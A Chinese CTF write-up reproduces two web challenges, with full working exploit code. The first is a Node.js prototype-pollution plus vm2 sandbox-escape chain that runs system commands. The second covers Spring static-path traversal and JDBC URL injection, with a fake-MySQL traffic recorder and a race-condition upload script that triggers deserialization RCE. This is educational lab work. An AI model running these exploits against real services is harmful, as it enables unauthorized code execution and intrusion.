2026 软件系统安全赛区域赛 WEB 题目复现

2026 软件系统安全赛区域赛 WEB 题目复现

本文字数:4679  阅读时长:10分钟

访客数:加载中... | 阅读量:加载中...

0x01 复现环境

所有复现环境均在

0x02 nodejs

题目描述:使用nodejs编写的一个网站。 打开题目附件有一个js文件和一个package.json,执行npm i安装依赖,再通过node app.js运行环境。因为附件缺失了index.html,直接看app.js的源码。 在/sandbox这个接口发现了可能可以执行代码的部分,但是却需要管理员权限,那我们现在去找哪里可以搞到管理员权限。

javascript
app.post('/sandbox', async (req, res) => {
    if (!req.session.user) return res.json({ error: '请先登录' });
    
    const username = req.session.user.username;
    const user = users[username];
    
    if (user.isAdmin !== true) {
        return res.json({ error: '需要管理员权限' });
    }
    
    const { code } = req.body;
    if (!code) return res.json({ error: '请提供代码' });
    
    try {
        const sandboxResult = { value: null };
        
        const vm = new VM({
            timeout: 5000,
            sandbox: { __result: sandboxResult }
        });
        
        const result = vm.run(code);
        
        await new Promise(resolve => setTimeout(resolve, 500));
        
        res.json({ 
            result: result?.toString() || '执行成功',
            output: sandboxResult.value
        });
    } catch (error) {
        res.json({ error: error.message });
    }
});

找到关键突破点merge函数,这是对对象进行合并的函数,并且支持嵌套对象。问了ChatGPT说存在原型链污染,因为我对这块也不是很清楚,因此进行了简单的学习。

javascript
function merge(target, source) {
    for (let key in source) {
        if (key === '__proto__') continue;  
        if (typeof source[key] === 'object' && source[key] !== null) {
            if (!target[key]) target[key] = {};
            merge(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
    return target;
}

js的原型链有点类似于JAVA中类的继承,当当前对象的某个属性或方法找不到时,就会到原型链上进行寻找。而且这个原型链是所有对象都共享!如果在原型链上更改了某个属性值,那么如果当前对象没有这个属性,访问这个对象的该属性返回的就是原型链的值! 原型链污染有俩条路径分别为:

text
路径:
obj.__proto__.prototype.xxx
obj.constructor.prototype.xxx
示例payload:
{
  "constructor": {
    "prototype": {
      "polluted": true
    }
  }
}

简单了解原理后,本题的解题思路也明朗了,即通过原型链污染使得isAdmin为true!再会看执行代码部分,这是一个沙箱,需要沙箱逃逸。

javascript
app.post('/sandbox', async (req, res) => {
    if (!req.session.user) return res.json({ error: '请先登录' });
    
    const username = req.session.user.username;
    const user = users[username];
    
    if (user.isAdmin !== true) {
        return res.json({ error: '需要管理员权限' });
    }
    
    const { code } = req.body;
    if (!code) return res.json({ error: '请提供代码' });
    
    try {
        const sandboxResult = { value: null };
        
        const vm = new VM({
            timeout: 5000,
            sandbox: { __result: sandboxResult }
        });
        
        const result = vm.run(code);
        
        await new Promise(resolve => setTimeout(resolve, 500));
        
        res.json({ 
            result: result?.toString() || '执行成功',
            output: sandboxResult.value
        });
    } catch (error) {
        res.json({ error: error.message });
    }
});

在package中查看vm2的版本为3.10.0,满足<= 3.10.1,用到最新的CVE-2026-22709漏洞。官方Poc为

javascript
const error = new Error();
error.name = Symbol();

const f = async () => error.stack;
const promise = f();

promise.catch(e => {
    const Error = e.constructor;
    const Function = Error.constructor;

    const f = new Function(
        "process.mainModule.require('child_process').execSync('echo HELLO WORLD!', { stdio: 'inherit' })"
    );

    f();
});

那么我们更改一下就可以执行任意指令啦!最终exp如下

python
import re
import sys
import requests
from bs4 import BeautifulSoup

s= requests.Session()

def exploit(target: str):
    target = target.rstrip("/")
    url = target + "/login"
    print(url)
    print("获取登录cookie")
    r = s.post(
        target + "/register",
        json={"username": "admin", "password": "123456"},  # ,"constructor": {"prototype": {"isAdmin": True}}
        timeout=10
    )
    print("[+] HTTP content:", r.content.decode('utf-8'))

    r = s.post(
        target + "/login",
        json={"username":"admin","password":"123456"},#,"constructor": {"prototype": {"isAdmin": True}}
        timeout=10
    )
    print("[+] HTTP content:", r.content.decode('utf-8'))

    r = s.post(
        target + "/changepassword",
        json={"oldPassword": "123456", "newPassword":"123456","confirmPassword":"123456","constructor": {"prototype": {"isAdmin": True}}},  # ,"constructor": {"prototype": {"isAdmin": True}}
        timeout=10
    )
    print("[+] HTTP content:", r.content.decode('utf-8'))

    r = s.get(target + "/admin", timeout=10)
    print("[+] HTTP content:", r.content.decode('utf-8'))

    r = s.post(
        target + "/sandbox",
        json={"code": "const error = new Error(); error.name = Symbol(); const f = async () => error.stack; const promise = f(); promise.catch(e => { const Error = e.constructor; const Function = Error.constructor; const run = Function(`return process.mainModule.require('child_process').execSync('whoami').toString()`); __result.value = run(); }); 'done';"},  # ,"constructor": {"prototype": {"isAdmin": True}}
        timeout=10
    )
    print("[+] HTTP content:", r.content.decode('utf-8'))

if __name__ == "__main__":
    exploit('http://127.0.0.1:3000')

注意我执行的whoami,因为我是windows环境没放flag.txt~OvO

0x03 JDBC

题目附件及解题思路均来自[原创] 2026软件安全赛现场赛writeup-web方向-CTF对抗-看雪安全社区|专业技术交流与安全研究论坛 将附件全部拖到IDEA中,并重新加载maven。并启动ctf-challenge.jar ,版本应该是要JDK17。然后在项目结构中将ctf-challenge.jar 添加入库中即可解析jar包。先看WebConfig.java这个文件。 WebConfig.java中这段代码是 Spring WebFlux 中的静态资源配置,用于将 /static/** 路径的请求映射到服务器的 /app/static/ 目录,并且这里存在目录穿越CVE-2024-38816 SpringBoot静态路径穿越漏洞

java
package com.ctf.config;

import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.core.io.FileSystemResource;
import org.springframework.http.codec.ServerCodecConfigurer;
import org.springframework.web.reactive.function.server.RouterFunction;
import org.springframework.web.reactive.function.server.RouterFunctions;
import org.springframework.web.reactive.function.server.ServerResponse;

@Configuration
public class WebConfig {

    @Bean
    public RouterFunction<ServerResponse> route() {
        return RouterFunctions
                .resources("/static/**", new FileSystemResource("/app/static/"));
    }
}

在C盘目录下新建test.txt,然后通过目录穿越进行读取 /static/%5c/%5c/../../test.txt 那么通过目录穿越,我们就可以读取任意文件从而获取到源码ctf-challenge.jar 在反编译后,我们在控制器目录中可以看到俩个控制器,先看DatabaseController 的关键内容。 可以看到/api/connect接口对接收的url参数没有进行任何的处理,直接就DriverManager.getConnection(dbUrl); 上了,因此存在JDBC URL 注入漏洞

java
@RestController
@RequestMapping({"/api"})
public class DatabaseController {
    public DatabaseController() {
    }

    @GetMapping(
        value = {"/connect"},
        produces = {"application/json"}
    )
    public Mono<Map<String, Object>> connect(@RequestParam("url") String dbUrl) {
        return Mono.fromCallable(() -> {
            Map<String, Object> result = new HashMap();

            try {
                Connection conn = DriverManager.getConnection(dbUrl);
                result.put("success", true);
                result.put("message", "Connection successful");
                conn.close();
            } catch (SQLException e) {
                result.put("success", false);
                result.put("error", e.getMessage());
            }

            return result;
        });
    }
}

这里先讲最简单的出网利用,先下载java-chainsRelease Release 1.4.4 · vulhub/java-chains然后启动。按照启动界面上的账号密码登录后,选择FakeMySQLPayload的JDK17 RCE链,命令执行处可以用默认的calc进行验证。然后点击生成即可获取专属username这个就和token一个性质,每个token对应一个你生成的payload。 然后访问对应接口,譬如我这个token为 dd0f2d4,那么我应该带的参数为 /api/connect?url=jdbc:mysql://127.0.0.1:3308/?user=dd0f2d4&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&useSSL=false&serverTimezone=UTC。注意要进行URL编码后再使用,实际效果如下,成功执行calc 但是在当时比赛在线下无法进行出网利用,这里就用到了socketFactory=com.mysql.cj.protocol.NamedPipeSocketFactory:强制客户端放弃TCP/IP,改用Windows命名管道通信。NamedPipeSocketFactory类在底层直接使用了 Java 的 java.io.RandomAccessFile(path, “rw”) 来打开文件,并且完全没有校验操作系统是否为 Windows,也没有校验该路径是否真的是一个命名管道。namedPipePath=uploads/payload.txt:指定命名管道文件,其会把该静态文件,当成一个 Socket 连接来读取和写入。伪造和服务器的连接。 这里用到的录制脚本如下。

python
import socket
import select

# 配置信息
FAKE_MYSQL_PORT = 3308  # 你本地能弹计算器的 Fake MySQL 端口
PROXY_PORT = 3309  # 本代理脚本监听的端口
PAYLOAD_FILE = "payload.txt"


def run_smart_proxy():
    proxy_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    proxy_server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    proxy_server.bind(('127.0.0.1', PROXY_PORT))
    proxy_server.listen(1)
    print(f"[*] 智能录制代理已启动,监听本地 {PROXY_PORT} 端口...")

    client_sock, addr = proxy_server.accept()
    print(f"[+] 收到 JDBC 客户端连接: {addr}")

    target_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    target_sock.connect(('127.0.0.1', FAKE_MYSQL_PORT))
    print(f"[+] 已连接到 Fake MySQL (3308端口)")

    payload_data = bytearray()

    try:
        while True:
            # 监听哪边有数据发过来,超时时间设置为 3 秒
            r, _, _ = select.select([client_sock, target_sock], [], [], 3.0)

            if not r:
                print("[*] 3秒内无数据交互,认为连接已结束,准备生成文件...")
                break

            for sock in r:
                if sock == client_sock:
                    # JDBC 客户端发话了 -> 转发给 Fake MySQL,并用 \x00 占位
                    data = client_sock.recv(65535)
                    if not data:
                        raise Exception("Client closed")
                    target_sock.sendall(data)
                    payload_data.extend(b'\x00' * len(data))
                    print(f"  [>] 客户端 -> 服务端: {len(data)} bytes (填充为 padding)")

                elif sock == target_sock:
                    # Fake MySQL 服务端发话了 -> 转发给 JDBC,并记录真实数据
                    data = target_sock.recv(65535)
                    if not data:
                        raise Exception("Server closed")
                    client_sock.sendall(data)
                    payload_data.extend(data)
                    print(f"  [<] 服务端 -> 客户端: {len(data)} bytes (记录真实数据)")

    except Exception as e:
        print(f"[*] 交互结束或中断: {e}")
    finally:
        client_sock.close()
        target_sock.close()
        proxy_server.close()

    # 将记录的完整线性交互保存为文件
    with open(PAYLOAD_FILE, "wb") as f:
        f.write(payload_data)
    print(f"\n[+++] 成功!智能录制完成,恶意文件 {PAYLOAD_FILE} 已生成!(总大小: {len(payload_data)} bytes)")


if __name__ == '__main__':
    run_smart_proxy()

此外还需要一个JDBC的测试项目,实现对交互过程的录制。

java
package org.example;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;

public class JDBCTrigger {
    public static void main(String[] args) {
        // 指向 Python 代理脚本的 3309 端口
        // 注意:这里必须与你最终打靶机的参数完全一致(除了端口和 socketFactory),
        // 因为 user 等参数的长度会影响最终 Login 包的大小!
        String jdbcUrl = "jdbc:mysql://127.0.0.1:3309/test" +
                "?user=dd0f2d4" +
                "&autoDeserialize=true" +
                "&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor" +
                "&useSSL=false" +
                "&serverTimezone=UTC";

        System.out.println("[*] 正在向 Python 代理发起 JDBC 连接...");
        System.out.println("[*] 目标 URL: " + jdbcUrl);

        try {
            // 显式加载驱动(8.x版本其实会自动加载,写上更保险)
            Class.forName("com.mysql.cj.jdbc.Driver");

            // 触发连接!
            Connection conn = DriverManager.getConnection(jdbcUrl);

            System.out.println("[+] 连接成功建立!(通常不会走到这里,因为反序列化会抛出异常)");
            conn.close();

        } catch (ClassNotFoundException e) {
            System.err.println("[-] 找不到 MySQL 驱动,请检查 pom.xml 依赖: " + e.getMessage());
        } catch (SQLException e) {
            // 这是预期行为!反序列化发生类型转换错误时,会抛出 SQLException
            System.out.println("[+] 捕获到 SQL 异常 (这是反序列化触发的正常现象!)");
            e.printStackTrace();
        } catch (Exception e) {
            e.printStackTrace();
        }

        System.out.println("[*] Java 测试代码执行完毕,请检查是否弹出计算器,以及 Python 脚本是否生成了 payload.txt。");
    }
}

pom.xml如下

xml
<?xml version="1.0" encoding="UTF-8"?>
        <project xmlns="http://maven.apache.org/POM/4.0.0"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
        <modelVersion>4.0.0</modelVersion>

        <groupId>com.fulucky</groupId>
        <artifactId>rjaqsjdbcpayload</artifactId>
        <version>1.0-SNAPSHOT</version>

        <properties>
        <maven.compiler.source>17</maven.compiler.source>
        <maven.compiler.target>17</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
        </properties>
        <dependencies>
        <dependency>
        <groupId>mysql</groupId>
        <artifactId>mysql-connector-java</artifactId>
        <version>8.0.19</version>
        </dependency>
        </dependencies>

        </project>

然后先启动监听脚本再启动JDBCTrigger,最后录制下来的payload.txt大约7200左右bytes。现在虽然完成了对交互的伪造,但是我们仍需要将payload.txt上传到服务器上,这里就得看另一个控制器FileUploadController

java
@RestController
@RequestMapping({"/api"})
public class FileUploadController {
    private static final String UPLOAD_DIR = System.getProperty("user.dir") + "/uploads";

    public FileUploadController() {
    }

    @PostMapping(
        value = {"/upload"},
        produces = {"application/json"}
    )
    public Mono<Map<String, Object>> uploadFile(@RequestPart("file") FilePart file) {
        String filename = file.filename();
        Map<String, Object> result = new HashMap();
        if (filename != null && filename.endsWith(".txt")) {
            if (!filename.contains("/") && !filename.contains("\\") && !filename.contains("..")) {
                return file.content().map((dataBuffer) -> {
                    byte[] bytes = new byte[dataBuffer.readableByteCount()];
                    dataBuffer.read(bytes);
                    return bytes;
                }).collectList().flatMap((bytesList) -> {
                    byte[] content = new byte[bytesList.stream().mapToInt((bxx) -> bxx.length).sum()];
                    int offset = 0;

                    for(byte[] b : bytesList) {
                        System.arraycopy(b, 0, content, offset, b.length);
                        offset += b.length;
                    }

                    Map<String, Object> res = new HashMap();
                    File uploadDir = new File(UPLOAD_DIR);
                    if (!uploadDir.exists()) {
                        uploadDir.mkdirs();
                    }

                    Path filePath = Paths.get(UPLOAD_DIR, filename);

                    try {
                        Files.write(filePath, content, new OpenOption[0]);
                    } catch (IOException e) {
                        res.put("success", false);
                        res.put("error", "文件保存失败:" + e.getMessage());
                        return Mono.just(res);
                    }

                    boolean hasNonAscii = false;

                    for(byte b : content) {
                        if (b < 0 || b > 127) {
                            hasNonAscii = true;
                            break;
                        }
                    }

                    if (hasNonAscii) {
                        try {
                            Files.delete(filePath);
                        } catch (IOException var12) {
                        }

                        res.put("success", false);
                        res.put("error", "文件内容包含非 ASCII 字符,已删除");
                        return Mono.just(res);
                    } else {
                        res.put("success", true);
                        res.put("message", "文件上传成功");
                        res.put("filename", filename);
                        res.put("path", filePath.toString());
                        return Mono.just(res);
                    }
                });
            } else {
                result.put("success", false);
                result.put("error", "非法文件名");
                return Mono.just(result);
            }
        } else {
            result.put("success", false);
            result.put("error", "只允许上传.txt 后缀文件");
            return Mono.just(result);
        }
    }
}

这里对文件名后缀以及/ \ 管控及其严格,阻止了目录穿越。此外还对文件内容是否包含ASCII码进行了严格校验。但是问题也出现在这,因为服务器是先保存文件再对是否含ASCII码进行校验。所以存在条件竞争的可能,这里给出编写的py脚本。原理就是对文件按时间戳重命名后进行多次上传,每次上传后都要进行多次访问,尝试在删除前实现利用。

python
import requests
import threading
import time
from concurrent.futures import ThreadPoolExecutor, as_completed
import urllib.parse


class ImprovedRaceExploit:
    def __init__(self, base_url):
        self.base_url = base_url
        self.payload_content = None
        self.success_count = 0
        self.lock = threading.Lock()
        self.upload_url = f"{base_url}/api/upload"
        self.jdbc_template = "jdbc:mysql://127.0.0.1:3306/test?user=dd0f2d4&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&useSSL=false&serverTimezone=UTC&socketFactory=com.mysql.cj.protocol.NamedPipeSocketFactory&namedPipePath=uploads/{filename}"
        self.stop_flag = False
        self.success_filename = None
        self.success_response = None

    def load_payload(self, payload_file="payload.txt"):
        with open(payload_file, 'rb') as f:
            self.payload_content = f.read()
        print(f"[+] 加载payload: {len(self.payload_content)} bytes")

    def upload_and_poll(self, filename):
        if self.stop_flag:
            return False

        files = {'file': (filename, self.payload_content, 'text/plain')}

        upload_session = requests.Session()
        trigger_session = requests.Session()

        def do_upload():
            try:
                resp = upload_session.post(self.upload_url, files=files, timeout=5)
                result = resp.json()
                if result.get('success'):
                    print(f"[+] 上传成功: {filename}")
                    return True
                elif "非 ASCII" in result.get('error', ''):
                    print(f"[!] 文件被标记删除: {filename} (但已写入)")
                    return True
                return False
            except Exception:
                return False

        upload_thread = threading.Thread(target=do_upload)
        upload_thread.start()

        jdbc_url = self.jdbc_template.format(filename=filename)
        encoded_url = urllib.parse.quote(jdbc_url, safe='')
        full_url = f"{self.base_url}/api/connect?url={encoded_url}"

        max_attempts = 30

        for attempt in range(max_attempts):
            if self.stop_flag:
                upload_thread.join(timeout=1)
                return False

            try:
                resp = trigger_session.get(full_url, timeout=2)
                response_text = resp.text

                # 打印响应(缩短显示)
                print(f"    响应: {response_text[:150]}...")

                # ===== 关键判断:直接在响应文本中查找成功标志 =====
                # 你的payload触发后,响应中会包含这些类名
                success_keywords = [
                    'PropertyWriter',
                    'AbstractTranslet',
                    'TemplatesImpl',
                    'org.apache.collections',
                    'com.sun.org.apache.xalan'
                ]

                is_success = any(keyword in response_text for keyword in success_keywords)

                if is_success:
                    with self.lock:
                        if not self.stop_flag:
                            self.stop_flag = True
                            self.success_count += 1
                            self.success_filename = filename
                            self.success_response = response_text
                            print(f"\n[🎯] 第{attempt + 1}次尝试成功: {filename}")
                            print(f"    响应: {response_text[:300]}")
                            upload_thread.join(timeout=1)
                            return True

            except Exception as e:
                pass

            time.sleep(0.005)
            if attempt > max_attempts // 2:
                time.sleep(0.01)

        upload_thread.join(timeout=2)
        print(f"[-] 超时: {filename} (尝试{max_attempts}次)")
        return False

    def race_attack(self, num_requests=50, workers=10):
        print(f"[*] 启动条件竞争: {num_requests} 个并发请求")
        print(f"[*] 工作线程: {workers}")
        print(f"[*] 检测关键词: PropertyWriter / AbstractTranslet / TemplatesImpl")
        print("-" * 60)

        with ThreadPoolExecutor(max_workers=workers) as executor:
            futures = []
            for i in range(num_requests):
                filename = f"race_{int(time.time() * 1000)}_{i:04d}.txt"
                future = executor.submit(self.upload_and_poll, filename)
                futures.append(future)

            for future in as_completed(futures):
                if self.stop_flag:
                    for f in futures:
                        if not f.done():
                            f.cancel()
                    print(f"\n[🛑] 检测到成功触发,停止所有线程!")
                    break

        print("-" * 60)
        if self.success_filename:
            print(f"\n[✅] 攻击成功!")
            print(f"    文件名: {self.success_filename}")
            print(f"    触发次数: {self.success_count}")
            if self.success_response:
                print(f"    响应内容: {self.success_response[:300]}")
        else:
            print(f"\n[❌] 攻击失败!未成功触发任何文件")

        print(f"[*] 完成!成功触发: {self.success_count}/{num_requests}")


if __name__ == "__main__":
    exploit = ImprovedRaceExploit("http://127.0.0.1:8000")
    exploit.load_payload("payload.txt")
    exploit.race_attack(num_requests=50, workers=10)

执行效果如下。不过这部分代码可能存在触发执行命令多次的问题,因为各文件是异步上传触发的OvO,所以可能弹很多计算器,但是已经通过标志位防止每个进程的多次触发。 总的来说这对我是一道很新的题,挺有意思的!

0x04 参考链接

https://bbs.kanxue.com/thread-290978.htm